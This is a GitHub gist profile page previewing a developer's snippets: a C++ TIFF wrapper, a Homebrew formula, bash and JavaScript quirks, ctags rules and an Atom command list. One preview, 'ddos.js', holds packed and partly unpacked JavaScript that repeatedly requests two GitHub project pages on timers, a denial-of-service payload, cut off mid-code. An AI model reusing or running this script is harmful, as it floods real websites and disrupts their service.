Skip to content

Instantly share code, notes, and snippets.

View thomasjo's full-sized avatar
🍉

Thomas Johansen thomasjo

🍉
View GitHub Profile
@thomasjo
thomasjo / tiffy.hpp
Created March 31, 2015 21:39
Femto scale C++ wrapper around LibTIFF
#pragma once
#include <cstdint>
#include <vector>
namespace tiffy {
template<typename T, typename ...Targs>
std::unique_ptr<T> make_unique(Targs&& ...args) {
return std::unique_ptr<T>(new T(std::forward<Targs>(args)...));
@thomasjo
thomasjo / ddos.js
Last active August 29, 2015 14:17 — forked from zhufenggood/ddos.js
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E/","m://n.9/F-G/"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
@thomasjo
thomasjo / vagrant.rb
Created July 28, 2014 14:55
Vagrant Formula for Homebrew
class Vagrant < Formula
homepage 'http://www.vagrantup.com/'
url 'https://dl.bintray.com/mitchellh/vagrant/vagrant_1.6.3.dmg'
sha1 '749e2b9b4be8bfb7ab3b9a4d56d6eb60a78f2bab'
bottle do
end
def install
@thomasjo
thomasjo / reduce_wtf.js
Created June 22, 2014 14:34
JavaScript's Array.reduce is silly...
segments = "text.foo.bar.quux".split(".");
segments.reduce(function(aggregate, current, index) {
console.log(index);
});
// Result:
// 1
// 2
// 3
# The blog post that started it all: https://neocities.org/blog/the-fcc-is-now-rate-limited
#
# Current known FCC address ranges:
# https://news.ycombinator.com/item?id=7716915
#
# Confirm/locate FCC IP ranges with this: http://whois.arin.net/rest/net/NET-165-135-0-0-1/pft
#
# In your nginx.conf:
location / {
--langdef=coffee
--langmap=coffee:.coffee
--regex-coffee=/(^|=[ \t])*class ([A-Za-z_][A-Za-z0-9_]+\.)*([A-Za-z_][A-Za-z0-9_]+)( extends ([A-Za-z][A-Za-z0-9_.]*)+)?$/\3/c,class/
--regex-coffee=/^[ \t]*(module\.)?(exports\.)?@?(([A-Za-z][A-Za-z0-9_.]*)+):.*[-=]>.*$/\3/m,method/
--regex-coffee=/^[ \t]*(module\.)?(exports\.)?(([A-Za-z][A-Za-z0-9_.]*)+)[ \t]*=.*[-=]>.*$/\3/f,function/
--regex-coffee=/^[ \t]*(([A-Za-z][A-Za-z0-9_.]*)+)[ \t]*=[^->\n]*$/\1/v,variable/
--regex-coffee=/^[ \t]*@(([A-Za-z][A-Za-z0-9_.]*)+)[ \t]*=[^->\n]*$/\1/f,field/
--regex-coffee=/^[ \t]*@(([A-Za-z][A-Za-z0-9_.]*)+):[^->\n]*$/\1/f,static field/
--regex-coffee=/^[ \t]*(([A-Za-z][A-Za-z0-9_.]*)+):[^->\n]*$/\1/f,field/
--regex-coffee=/((constructor|initialize):[ \t]*\()@(([A-Za-z][A-Za-z0-9_.]*)+)([ \t]*=[ \t]*[^,)]+)?/\3/f,field/
@thomasjo
thomasjo / exitcode.bash
Created April 15, 2014 20:14
Simple repro of bash command substitution not short-circuiting as expected.
#!/usr/bin/env bash
test1() {
local output
output="$(/does/not/exist)"
echo "${output}"
}
test2() {
local output
@thomasjo
thomasjo / bats-stub-issue.sh
Created April 15, 2014 14:10
Command substitution issue?
# This doesn't work together with bats stub as defined in ruby-build
compute_sha2() {
if type shasum &>/dev/null; then
local output="$(shasum -a 256 -b)"
echo "${output% *}"
elif type openssl &>/dev/null; then
local output="$(openssl dgst -sha256)"
echo "${output##* }"
elif type sha256sum &>/dev/null; then
local output="$(sha256sum --quiet)"
application:open-your-keymap
application:open-your-stylesheet
autocomplete:attach
autoflow:reflow-paragraph
bookmarks:clear-bookmarks
bookmarks:jump-to-next-bookmark
bookmarks:jump-to-previous-bookmark
bookmarks:toggle-bookmark
bookmarks:view-all
check:correct-misspelling